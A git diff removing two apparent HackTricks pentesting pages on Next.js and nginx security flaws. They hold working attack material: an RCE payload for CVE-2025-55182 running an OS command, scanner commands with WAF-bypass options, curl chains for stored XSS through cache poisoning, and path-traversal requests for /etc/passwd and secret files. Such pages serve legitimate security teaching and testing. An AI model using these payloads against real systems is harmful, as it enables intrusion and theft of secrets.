-- Another problem might be to allow a domain **where anyone can upload an image** (like `raw.githubusercontent.com`)
-
-**How attackers abuse it:**
-
-By injecting images from malicious sources, attackers can perform phishing attacks, display misleading information, or exploit vulnerabilities in image rendering libraries.
-
-</details>
-
-<details>
-
-<summary>Environment Variables Exposure</summary>
-
-Manage sensitive information like API keys and database credentials securely without exposing them to the client.
-
-#### a. Exposing Sensitive Variables
-
-**Bad Configuration Example:**
-
-```javascript
-// next.config.js
-
-module.exports = {
-  env: {
-    SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
-    NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
-  },
-}
-```
-
-**Problem:**
-
-- **`SECRET_API_KEY`:** Without the `NEXT_PUBLIC_` prefix, Next.js does not expose variables to the client. However, if mistakenly prefixed (e.g., `NEXT_PUBLIC_SECRET_API_KEY`), it becomes accessible on the client side.
-
-**How attackers abuse it:**
-
-If sensitive variables are exposed to the client, attackers can retrieve them by inspecting the client-side code or network requests, gaining unauthorized access to APIs, databases, or other services.
-
-</details>
-
-<details>
-
-<summary>Redirects</summary>
-
-Manage URL redirections and rewrites within your application, ensuring that users are directed appropriately without introducing open redirect vulnerabilities.
-
-#### a. Open Redirect Vulnerability
-
-**Bad Configuration Example:**
-
-```javascript
-// next.config.js
-
-module.exports = {
-  async redirects() {
-    return [
-      {
-        source: "/redirect",
-        destination: (req) => req.query.url, // Dynamically redirects based on query parameter
-        permanent: false,
-      },
-    ]
-  },
-}
-```
-
-**Problem:**
-
-- **Dynamic Destination:** Allows users to specify any URL, enabling open redirect attacks.
-- **Trusting User Input:** Redirects to URLs provided by users without validation can lead to phishing, malware distribution, or credential theft.
-
-**How attackers abuse it:**
-
-Attackers can craft URLs that appear to originate from your domain but redirect users to malicious sites. For example:
-
-```bash
-https://yourdomain.com/redirect?url=https://malicious-site.com
-```
-
-Users trusting the original domain might unknowingly navigate to harmful websites.
-
-</details>
-
-<details>
-
-<summary>Webpack Configuration</summary>
-
-Customize Webpack configurations for your Next.js application, which can inadvertently introduce security vulnerabilities if not handled cautiously.
-
-#### a. Exposing Sensitive Modules
-
-**Bad Configuration Example:**
-
-```javascript
-// next.config.js
-
-module.exports = {
-  webpack: (config, { isServer }) => {
-    if (!isServer) {
-      config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
-    }
-    return config
-  },
-}
-```
-
-**Problem:**
-
-- **Exposing Sensitive Paths:** Aliasing sensitive directories and allowing client-side access can leak confidential information.
-- **Bundling Secrets:** If sensitive files are bundled for the client, their contents become accessible through source maps or inspecting the client-side code.
-
-**How attackers abuse it:**
-
-Attackers can access or reconstruct the application's directory structure, potentially finding and exploiting sensitive files or data.
-
-</details>
-
-### `pages/_app.js` and `pages/_document.js`
-
-#### **`pages/_app.js`**
-
-**Purpose:** Overrides the default App component, allowing for global state, styles, and layout components.
-
-**Use Cases:**
-
-- Injecting global CSS.
-- Adding layout wrappers.
-- Integrating state management libraries.
-
-**Example:**
-
-```jsx
-// pages/_app.js
-import "../styles/globals.css"
-
-function MyApp({ Component, pageProps }) {
-  return <Component {...pageProps} />
-}
-
-export default MyApp
-```
-
-#### **`pages/_document.js`**
-
-**Purpose:** Overrides the default Document, enabling customization of the HTML and Body tags.
-
-**Use Cases:**
-
-- Modifying the `<html>` or `<body>` tags.
-- Adding meta tags or custom scripts.
-- Integrating third-party fonts.
-
-**Example:**
-
-```jsx
-// pages/_document.js
-import Document, { Html, Head, Main, NextScript } from "next/document"
-
-class MyDocument extends Document {
-  render() {
-    return (
-      <Html lang="en">
-        <Head>{/* Custom fonts or meta tags */}</Head>
-        <body>
-          <Main />
-          <NextScript />
-        </body>
-      </Html>
-    )
-  }
-}
-
-export default MyDocument
-```
-
-### Custom Server (Optional)
-
-**Purpose:** While Next.js comes with a built-in server, you can create a custom server for advanced use cases like custom routing or integrating with existing backend services.
-
-**Note:** Using a custom server can limit deployment options, especially on platforms like Vercel that optimize for Next.js's built-in server.
-
-**Example:**
-
-```javascript
-// server.js
-const express = require("express")
-const next = require("next")
-
-const dev = process.env.NODE_ENV !== "production"
-const app = next({ dev })
-const handle = app.getRequestHandler()
-
-app.prepare().then(() => {
-  const server = express()
-
-  // Custom route
-  server.get("/a", (req, res) => {
-    return app.render(req, res, "/a")
-  })
-
-  // Default handler
-  server.all("*", (req, res) => {
-    return handle(req, res)
-  })
-
-  server.listen(3000, (err) => {
-    if (err) throw err
-    console.log("> Ready on http://localhost:3000")
-  })
-})
-```
-
----
-
-## Additional Architectural and Security Considerations
-
-### Environment Variables and Configuration
-
-**Purpose:** Manage sensitive information and configuration settings outside of the codebase.
-
-**Best Practices:**
-
-- **Use `.env` Files:** Store variables like API keys in `.env.local` (excluded from version control).
-- **Access Variables Securely:** Use `process.env.VARIABLE_NAME` to access environment variables.
-- **Never Expose Secrets on the Client:** Ensure that sensitive variables are only used server-side.
-
-**Example:**
-
-```javascript
-// next.config.js
-module.exports = {
-  env: {
-    API_KEY: process.env.API_KEY, // Accessible on both client and server
-    SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
-  },
-}
-```
-
-**Note:** To restrict variables to server-side only, omit them from the `env` object or prefix them with `NEXT_PUBLIC_` for client exposure.
-
-### Useful server artifacts to target via LFI/download endpoints
-
-If you find a path traversal or download API in a Next.js app, target compiled artifacts that leak server-side secrets and auth logic:
-
-- `.env` / `.env.local` for session secrets and provider credentials.
-- `.next/routes-manifest.json` and `.next/build-manifest.json` for a complete route list.
-- `.next/server/pages/api/auth/[...nextauth].js` to recover the compiled NextAuth configuration (often contains fallback passwords when `process.env` values are unset).
-- `next.config.js` / `next.config.mjs` to review rewrites, redirects and middleware routing.
-
-### Authentication and Authorization
-
-**Approach:**
-
-- **Session-Based Authentication:** Use cookies to manage user sessions.
-- **Token-Based Authentication:** Implement JWTs for stateless authentication.
-- **Third-Party Providers:** Integrate with OAuth providers (e.g., Google, GitHub) using libraries like `next-auth`.
-
-**Security Practices:**
-
-- **Secure Cookies:** Set `HttpOnly`, `Secure`, and `SameSite` attributes.
-- **Password Hashing:** Always hash passwords before storing them.
-- **Input Validation:** Prevent injection attacks by validating and sanitizing inputs.
-
-**Example:**
-
-```javascript
-// pages/api/login.js
-import { sign } from "jsonwebtoken"
-import { serialize } from "cookie"
-
-export default async function handler(req, res) {
-  const { username, password } = req.body
-
-  // Validate user credentials
-  if (username === "admin" && password === "password") {
-    const token = sign({ username }, process.env.JWT_SECRET, {
-      expiresIn: "1h",
-    })
-    res.setHeader(
-      "Set-Cookie",
-      serialize("auth", token, {
-        path: "/",
-        httpOnly: true,
-        secure: true,
-        sameSite: "strict",
-      })
-    )
-    res.status(200).json({ message: "Logged in" })
-  } else {
-    res.status(401).json({ error: "Invalid credentials" })
-  }
-}
-```
-
-### Performance Optimization
-
-**Strategies:**
-
-- **Image Optimization:** Use Next.js's `next/image` component for automatic image optimization.
-- **Code Splitting:** Leverage dynamic imports to split code and reduce initial load times.
-- **Caching:** Implement caching strategies for API responses and static assets.
-- **Lazy Loading:** Load components or assets only when they are needed.
-
-**Example:**
-
-```jsx
-// Dynamic Import with Code Splitting
-import dynamic from "next/dynamic"
-
-const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
-  loading: () => <p>Loading...</p>,
-})
-```
-
-## Next.js Server Actions Enumeration (hash to function name via source maps)
-
-Modern Next.js uses “Server Actions” that execute on the server but are invoked from the client. In production these invocations are opaque: all POSTs land on a common endpoint and are distinguished by a build-specific hash sent in the `Next-Action` header. Example:
-
-```http
-POST /
-Next-Action: a9f8e2b4c7d1...
-```
-
-When `productionBrowserSourceMaps` is enabled, minified JS chunks contain calls to `createServerReference(...)` that leak enough structure (plus associated source maps) to recover a mapping between the action hash and the original function name. This lets you translate hashes observed in `Next-Action` into concrete targets like `deleteUserAccount()` or `exportFinancialData()`.
-
-### Extraction approach (regex on minified JS + optional source maps)
-
-Search downloaded JS chunks for `createServerReference` and extract the hash and the function/source symbol. Two useful patterns:
-
-```regex
-# Strict pattern for standard minification
-createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
-
-# Flexible pattern handling various minification styles
-createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
-```
-
-- Group 1: server action hash (40+ hex chars)
-- Group 2: symbol or path that can be resolved to the original function via the source map when present
-
-If the script advertises a source map (trailer comment `//# sourceMappingURL=<...>.map`), fetch it and resolve the symbol/path to the original function name.
-
-### Practical workflow
-
-- Passive discovery while browsing: capture requests with `Next-Action` headers and JS chunk URLs.
-- Fetch the referenced JS bundles and accompanying `*.map` files (when present).
-- Run the regex above to build a hash↔name dictionary.
-- Use the dictionary to target testing:
-  - Name-driven triage (e.g., `transferFunds`, `exportFinancialData`).
-  - Track coverage across builds by function name (hashes rotate across builds).
-
-### Exercising hidden actions (template-based request)
-
-Take a valid POST observed in-proxy as a template and swap the `Next-Action` value to target another discovered action:
-
-```http
-# Before
-Next-Action: a9f8e2b4c7d1
-
-# After
-Next-Action: b7e3f9a2d8c5
-```
-
-Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.
-
-### Burp automation
-
-- NextjsServerActionAnalyzer (Burp extension) automates the above in Burp:
-  - Mines proxy history for JS chunks, extracts `createServerReference(...)` entries, and parses source maps when available.
-  - Maintains a searchable hash↔function-name dictionary and de-duplicates across builds by function name.
-  - Can locate a valid template POST and open a ready-to-send Repeater tab with the target action’s hash swapped in.
-- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
-
-### Notes and limitations
-
-- Requires `productionBrowserSourceMaps` enabled in production to recover names from bundles/source maps.
-- Function-name disclosure is not a vulnerability by itself; use it to guide discovery and test each action’s authorization.
-
-### React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
-
-Next.js App Router deployments that expose Server Actions on `react-server-dom-webpack` **19.0.0–19.2.0 (Next.js 15.x/16.x)** contain a critical server-side prototype pollution during **Flight** chunk deserialization. By crafting `$` references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.
-
-{{#ref}}
-../../pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
-{{#endref}}
-
-#### Attack chain in Flight chunks
-
-1. **Prototype pollution primitive:** Set `"then": "$1:__proto__:then"` so that the resolver writes a `then` function on `Object.prototype`. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
-2. **Rebinding to the global `Function` constructor:** Point `_response._formData.get` at `"$1:constructor:constructor"`. During resolution, `object.constructor` → `Object`, and `Object.constructor` → `Function`, so future calls to `_formData.get()` actually execute `Function(...)`.
-3. **Code execution via `_prefix`:** Place JavaScript source in `_response._prefix`. When the polluted `_formData.get` is invoked, the framework evaluates `Function(_prefix)(...)`, so the injected JS can run `require('child_process').exec()` or any other Node primitive.
-
-#### Payload skeleton
-
-```json
-{
-  "then": "$1:__proto__:then",
-  "status": "resolved_model",
-  "reason": -1,
-  "value": "{\"then\":\"$B1337\"}",
-  "_response": {
-    "_prefix": "require('child_process').exec('id')",
-    "_chunks": "$Q2",
-    "_formData": { "get": "$1:constructor:constructor" }
-  }
-}
-```
-
-#### Mapping React Server Function exposure
-
-React Server Functions (RSF) are any functions that include the `'use server';` directive. Every form action, mutation, or fetch helper bound to one of those functions becomes an RSC Flight endpoint that will happily deserialize attacker-supplied payloads. Useful recon steps derived from React2Shell assessments:
-
-- **Static inventory:** look for the directive to understand how many RSFs are being automatically exposed by the framework.
-
-```bash
-rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
-```
-
-- **App Router defaults:** `create-next-app` enables the App Router + `app/` directory by default, which silently turns every route into an RSC-capable endpoint. App Router assets such as `/_next/static/chunks/app/` or responses that stream Flight chunks over `text/x-component` are strong Internet-facing fingerprints.
-- **Implicitly vulnerable RSC deployments:** React’s own advisory notes that apps shipping the RSC runtime can be exploitable **even without explicit RSFs**, so treat any build using `react-server-dom-*` 19.0.0–19.2.0 as suspect.
-- **Other frameworks bundling RSC:** Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reuse the same serializer and inherit the identical remote attack surface until they embed patched React builds.
-
-#### Version coverage (React2Shell)
-
-- `react-server-dom-webpack`, `react-server-dom-parcel`, `react-server-dom-turbopack`: **vulnerable** in 19.0.0, 19.1.0–19.1.1 and 19.2.0; **patched** in 19.0.1, 19.1.2 and 19.2.1 respectively.
-- **Next.js stable:** App Router releases 15.0.0–16.0.6 embed the vulnerable RSC stack. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 include fixed deps, so any build below those versions is high-value.
-- **Next.js canary:** `14.3.0-canary.77+` also ships the buggy runtime and currently lacks patched canary drops, making those fingerprints strong exploitation candidates.
-
-#### Remote detection oracle
-
-Assetnote’s [`react2shell-scanner`](https://github.com/assetnote/react2shell-scanner) sends a crafted multipart Flight request to candidate paths and watches server-side behavior:
-
-- **Default mode** executes a deterministic RCE payload (math operation reflected via `X-Action-Redirect`) proving code execution.
-- **`--safe-check` mode** purposefully malforms the Flight message so patched servers return `200/400`, while vulnerable targets emit `HTTP/500` responses containing the `E{"digest"` substring inside the body. That `(500 + digest)` pair is currently the most reliable remote oracle published by defenders.
-- Built-in `--waf-bypass`, `--vercel-waf-bypass`, and `--windows` switches adjust payload layout, prepend junk, or swap OS commands so you can probe real Internet assets.
-
-```bash
-python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
-python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
-```
-
-### Other recent App Router issues (late 2025)
-
-1. **RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183)** – malformed Flight payloads can spin the RSC resolver into an infinite loop (pre-auth DoS) or force serialization of compiled Server Function code for other actions. App Router builds ≥13.3 are affected until patched; 15.0.x–16.0.x need the specific patch lines from the upstream advisory. Reuse the normal Server Action path but stream a `text/x-component` body with abusive `$` references. Behind a CDN the hung connection is kept open by cache timeouts, making the DoS cheap.
-   - **Triage tip:** Unpatched targets return `500` with `E{"digest"` after malformed Flight payloads; patched builds return `400/200`. Test any endpoint already streaming Flight chunks (look for `Next-Action` headers or `text/x-component` responses) and replay with a modified payload.
-
-2. **RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2)** – missing `Vary` let an `Accept: text/x-component` response get cached and served to browsers expecting HTML. A single priming request can replace the page with raw RSC payloads. PoC flow:
-   ```bash
-   # Prime CDN with an RSC response
-   curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
-   # Immediately fetch without Accept (victim view)
-   curl -k "https://target/app/dashboard" | head
-   ```
-   If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.
-
-3. **Header reflection + RSC content-type confusion -> stored / 0-click SXSS** – Some App Router deployments mirror incoming request headers into the response (often via `middleware.ts` / `proxy.ts`). If an external CDN caches RSC variants and does not safely isolate `Vary: Rsc`, that “low impact” reflection can become cross-user XSS:
-   - Send `Rsc: 1` to force a **dynamic** route to return the React Server Component payload instead of HTML. Dynamic routes are the interesting target because they reflect query parameters inside the Flight body after `__PAGE__`; prerendered routes are less useful and often expose `x-nextjs-prerender`.
-   - If the reflected request headers let you pre-seed `Content-Type: text/html`, Next.js keeps the attacker value because it only sets the default RSC `text/x-component` type when no `Content-Type` is already present. The browser then parses the RSC payload as HTML instead of inert Flight data.
-   - If the CDN stores that poisoned response, what looks like reflected XSS becomes **stored XSS via cache poisoning**. Query parameters commonly remain part of the cache key, so the exact payload URL becomes the retrieval key for later victims.
-   - To remove the “victim must open the payload URL” requirement, poison a high-traffic page such as `/` with a reflected `Refresh: 0; https://target/path?<same-payload>` header. `Location` needs a `3xx` status, but `Refresh` works on cacheable `200` responses and can bounce users into the already-poisoned RSC entry.
-
-   Quick triage flow:
-   ```bash
-   # Stage 1: poison a dynamic route as HTML instead of text/x-component
-   curl -isk -H 'Rsc: 1' -H 'Content-Type: text/html' \
-     'https://target.tld/account?pwn=%3Cimg%20src=x%20onerror=alert(1)%3E'
-
-   # Stage 2: poison / with a cached browser-side redirect to the same key
-   curl -isk -H 'Refresh: 0; https://target.tld/account?pwn=%3Cimg%20src=x%20onerror=alert(1)%3E' \
-     'https://target.tld/'
-   ```
-
-   Triage tips:
-   - Compare the same route with and without `Rsc: 1`, then watch for `Content-Type`, `Vary: Rsc`, `CF-Cache-Status` / `X-Cache`, and unescaped query-string reflection after `__PAGE__`.
-   - Test both dynamic and prerendered routes. If `x-nextjs-prerender` is present, move to a dynamic path.
-   - Header-forwarding logic often lives in middleware/proxy matchers that exclude `_next/static`, `_next/image`, and `favicon.ico`, so static assets may not expose the same primitive.
-
-## References
-
-- [Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping](https://www.adversis.io/blogs/pentesting-next-js-server-actions)
-- [NextjsServerActionAnalyzer (Burp extension)](https://github.com/Adversis/NextjsServerActionAnalyzer)
-- [CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool](https://github.com/Spritualkb/CVE-2025-55182-exp)
-- [CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know](https://jfrog.com/blog/2025-55182-and-2025-66478-react2shell-all-you-need-to-know/)
-- [0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)](https://0xdf.gitlab.io/2026/01/10/htb-previous.html)
-- [assetnote/react2shell-scanner](https://github.com/assetnote/react2shell-scanner)
-- [Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)](https://nextjs.org/blog/security-update-2025-12-11)
-- [GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning](https://github.com/advisories/GHSA-r2fc-ccr8-96c4)
-- [Re:CACHE - Excessive Reflection, Type Confusion, and 0-Click SXSS on Next.js](https://zhero-web-sec.github.io/research-and-things/re-cache-excessive-reflection-type-confusion-and-0-click-sxss-on-nextjs)
-- [MDN: Refresh header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Refresh)
-- [Next.js proxy matcher docs](https://nextjs.org/docs/app/api-reference/file-conventions/proxy)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md
deleted file mode 100644
index 1767ccc1f5e..00000000000
--- a/src/network-services-pentesting/pentesting-web/nginx.md
+++ /dev/null
@@ -1,576 +0,0 @@
-# Nginx
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
-
-When configuring the Nginx server, the **root directive** plays a critical role by defining the base directory from which files are served. Consider the example below:
-
-```bash
-server {
-        root /etc/nginx;
-
-        location /hello.txt {
-                try_files $uri $uri/ =404;
-                proxy_pass http://127.0.0.1:8080/;
-        }
-}
-```
-
-In this configuration, `/etc/nginx` is designated as the root directory. This setup allows access to files within the specified root directory, such as `/hello.txt`. However, it's crucial to note that only a specific location (`/hello.txt`) is defined. There's no configuration for the root location (`location / {...}`). This omission means that the root directive applies globally, enabling requests to the root path `/` to access files under `/etc/nginx`.
-
-A critical security consideration arises from this configuration. A simple `GET` request, like `GET /nginx.conf`, could expose sensitive information by serving the Nginx configuration file located at `/etc/nginx/nginx.conf`. Setting the root to a less sensitive directory, like `/etc`, could mitigate this risk, yet it still may allow unintended access to other critical files, including other configuration files, access logs, and even encrypted credentials used for HTTP basic authentication.
-
-## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
-
-In the configuration files of Nginx, a close inspection is warranted for the "location" directives. A vulnerability known as Local File Inclusion (LFI) can be inadvertently introduced through a configuration that resembles the following:
-
-```
-location /imgs {
-    alias /path/images/;
-}
-```
-
-This configuration is prone to LFI attacks due to the server interpreting requests like `/imgs../flag.txt` as an attempt to access files outside the intended directory, effectively resolving to `/path/images/../flag.txt`. This flaw allows attackers to retrieve files from the server's filesystem that should not be accessible via the web.
-
-To mitigate this vulnerability, the configuration should be adjusted to:
-
-```
-location /imgs/ {
-    alias /path/images/;
-}
-```
-
-More info: [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)
-
-Accunetix tests:
-
-```
-alias../ => HTTP status code 403
-alias.../ => HTTP status code 404
-alias../../ => HTTP status code 403
-alias../../../../../../../../../../../ => HTTP status code 400
-alias../ => HTTP status code 403
-```
-
-## Unsafe path restriction <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
-
-Check the following page to learn how to bypass directives like:
-
-```plaintext
-location = /admin {
-    deny all;
-}
-
-location = /admin/ {
-    deny all;
-}
-```
-
-
-{{#ref}}
-../../pentesting-web/proxy-waf-protections-bypass.md
-{{#endref}}
-
-## Unsafe variable use / HTTP Request Splitting <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
-
-> [!CAUTION]
-> Vulnerable variables `$uri` and `$document_ur`i and this can be fixed by replacing them with `$request_uri`.
->
-> A regex can also be vulnerable like:
->
-> `location ~ /docs/([^/])? { … $1 … }` - Vulnerable
->
-> `location ~ /docs/([^/\s])? { … $1 … }` - Not vulnerable (checking spaces)
->
-> `location ~ /docs/(.*)? { … $1 … }` - Not vulnerable
-
-A vulnerability in Nginx configuration is demonstrated by the example below:
-
-```
-location / {
-  return 302 https://example.com$uri;
-}
-```
-
-The characters \r (Carriage Return) and \n (Line Feed) signify new line characters in HTTP requests, and their URL-encoded forms are represented as `%0d%0a`. Including these characters in a request (e.g., `http://localhost/%0d%0aDetectify:%20clrf`) to a misconfigured server results in the server issuing a new header named `Detectify`. This happens because the $uri variable decodes the URL-encoded new line characters, leading to an unexpected header in the response:
-
-```
-HTTP/1.1 302 Moved Temporarily
-Server: nginx/1.19.3
-Content-Type: text/html
-Content-Length: 145
-Connection: keep-alive
-Location: https://example.com/
-Detectify: clrf
-```
-
-Learn more about the risks of CRLF injection and response splitting at [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
-
-Also this technique is [**explained in this talk**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) with some vulnerable examples and dectection mechanisms. For example, In order to detect this misconfiguration from a blackbox perspective you could these requests:
-
-- `https://example.com/%20X` - Any HTTP code
-- `https://example.com/%20H` - 400 Bad Request
-
-If vulnerable, the first will return as "X" is any HTTP method and the second will return an error as H is not a valid method. So the server will receive something like: `GET / H HTTP/1.1` and this will trigger the error.
-
-Another detection examples would be:
-
-- `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Any HTTP code
-- `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
-
-Some found vulnerable configurations presented in that talk were:
-
-- Note how **`$uri`** is set as is in the final URL
-
-```
-location ^~ /lite/api/ {
- proxy_pass http://lite-backend$uri$is_args$args;
-}
-```
-
-- Note how again **`$uri`** is in the URL (this time inside a parameter)
-
-```
-location ~ ^/dna/payment {
- rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
- proxy_pass http://$back;
-```
-
-- Now in AWS S3
-
-```
-location /s3/ {
- proxy_pass https://company-bucket.s3.amazonaws.com$uri;
-}
-```
-
-### Any variable
-
-It was discovered that **user-supplied data** might be treated as an **Nginx variable** under certain circumstances. The cause of this behavior remains somewhat elusive, yet it's not rare nor straightforward to verify. This anomaly was highlighted in a security report on HackerOne, which can be viewed [here](https://hackerone.com/reports/370094). Further investigation into the error message led to the identification of its occurrence within the [SSI filter module of Nginx's codebase](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), pinpointing Server Side Includes (SSI) as the root cause.
-
-To **detect this misconfiguration**, the following command can be executed, which involves setting a referer header to test for variable printing:
-
-```bash
-$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
-```
-
-Scans for this misconfiguration across systems revealed multiple instances where Nginx variables could be printed by a user. However, a decrease in the number of vulnerable instances suggests that efforts to patch this issue have been somewhat successful.
-
-### Using try_files with $URI$ARGS variables
-
-Following Nginx misconfiguration can lead to an LFI vulnerability:
-```
-location / {
-		try_files $uri$args $uri$args/ /index.html;
-}
-```
-In our configuration we have directive `try_files` which is used to check for existence of files in specified order. Nginx will server the first one that it will find. The basic syntax of the `try_files` directive is as follows:
-```
-try_files file1 file2 ... fileN fallback;
-```
-
-Nginx will check for the existence of each file in the specified order. If a file exists, it will be served immediately. If none of the specified files exist, the request will be passed to the fallback option, which can be another URI or a specific error page.
-
-However, when using `$uri$args` variables in this directive, the Nginx will try to look for a file that matches the request URI combined with any query string arguments. Therefor we can exploit this configuration:
-```
-http {
-	server {
-	    root /var/www/html/public;
-
-	    location / {
-		try_files $uri$args $uri$args/ /index.html;
-	    }
-	}
-}
-```
-
-With following payload:
-```
-GET /?../../../../../../../../etc/passwd HTTP/1.1
-Host: example.com
-```
-
-Using our payload we will escape the root directory (defined in Nginx configuration) and load the `/etc/passwd` file. In debug logs we can observe how the Nginx tries the files:
-
-```
-...SNIP...
-
-2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
-2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
-
-...SNIP...
-
-2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
-
-...SNIP...
-
-2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
-
-```
-
-PoC againts Nginx using the configuration mentioned above:
-![Example burp request](../../images/nginx_try_files.png)
-
-## Raw backend response reading
-
-Nginx offers a feature through `proxy_pass` that allows for the interception of errors and HTTP headers produced by the backend, aiming to hide internal error messages and headers. This is accomplished by Nginx serving custom error pages in response to backend errors. However, challenges arise when Nginx encounters an invalid HTTP request. Such a request gets forwarded to the backend as received, and the backend's raw response is then directly sent to the client without Nginx's intervention.
-
-Consider an example scenario involving a uWSGI application:
-
-```python
-def application(environ, start_response):
-    start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
-    return [b"Secret info, should not be visible!"]
-```
-
-To manage this, specific directives in the Nginx configuration are used:
-
-```
-http {
-    error_page 500 /html/error.html;
-    proxy_intercept_errors on;
-    proxy_hide_header Secret-Header;
-}
-```
-
-- [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): This directive enables Nginx to serve a custom response for backend responses with a status code greater than 300. It ensures that, for our example uWSGI application, a `500 Error` response is intercepted and handled by Nginx.
-- [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): As the name suggests, this directive hides specified HTTP headers from the client, enhancing privacy and security.
-
-When a valid `GET` request is made, Nginx processes it normally, returning a standard error response without revealing any secret headers. However, an invalid HTTP request bypasses this mechanism, resulting in the exposure of raw backend responses, including secret headers and error messages.
-
-## merge_slashes set to off
-
-By default, Nginx's **`merge_slashes` directive** is set to **`on`**, which compresses multiple forward slashes in a URL into a single slash. This feature, while streamlining URL processing, can inadvertently conceal vulnerabilities in applications behind Nginx, particularly those prone to local file inclusion (LFI) attacks. Security experts **Danny Robinson and Rotem Bar** have highlighted the potential risks associated with this default behavior, especially when Nginx acts as a reverse-proxy.
-
-To mitigate such risks, it is recommended to **turn the `merge_slashes` directive off** for applications susceptible to these vulnerabilities. This ensures that Nginx forwards requests to the application without altering the URL structure, thereby not masking any underlying security issues.
-
-For more information check [Danny Robinson and Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
-
-## `proxy_pass` path normalization & encoded slash confusion
-
-A less obvious but very common reverse-proxy bug appears when a **prefix location** is combined with a `proxy_pass` that also contains a **URI path**. According to the [official `proxy_pass` docs](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass), if a URI is present in `proxy_pass`, nginx forwards the **normalized** request URI to the backend. That means **percent-decoding** and **dot-segment normalization** happen before the upstream sees the path.
-
-Example of risky configuration:
-
-```nginx
-location /api/ {
-    proxy_pass http://backend/;
-}
-```
-
-With this configuration, a request such as `GET /api/public%2F%2E%2E%2Fsecret HTTP/1.1` is normalized by nginx to `/api/secret`, the `/api/` prefix is stripped, and the backend receives `/secret`. This creates several practical attack paths:
-
-- **Backend ACL bypasses** when nginx exposes only `/api/public/*` but the application also serves sensitive routes behind the same upstream
-- **Cache/key confusion** when the frontend and backend disagree on what resource was actually requested
-- **Breaking client-side mitigations** that relied on the browser keeping `%2F` encoded
-
-### What to look for
-
-From a config review perspective, prioritize blocks like:
-
-```nginx
-location /prefix/ {
-    proxy_pass http://upstream/;
-}
-
-location /prefix/ {
-    proxy_pass http://upstream/app/;
-}
-```
-
-These deserve extra attention if the upstream exposes both public and internal routes, or if nginx is used to enforce path-based authorization. This is closely related to the path-confusion ACL bypasses explained [in this page](../../pentesting-web/proxy-waf-protections-bypass.md).
-
-### Black-box probes
-
-```bash
-# Compare a legitimate public path with an encoded traversal variant
-curl -i https://target.tld/api/public/info
-curl -i https://target.tld/api/public%2F%2E%2E%2Fsecret
-
-# If the backend reflects the route, look for normalization side effects
-curl -i https://target.tld/api/foo%2F%2E%2E%2F
-```
-
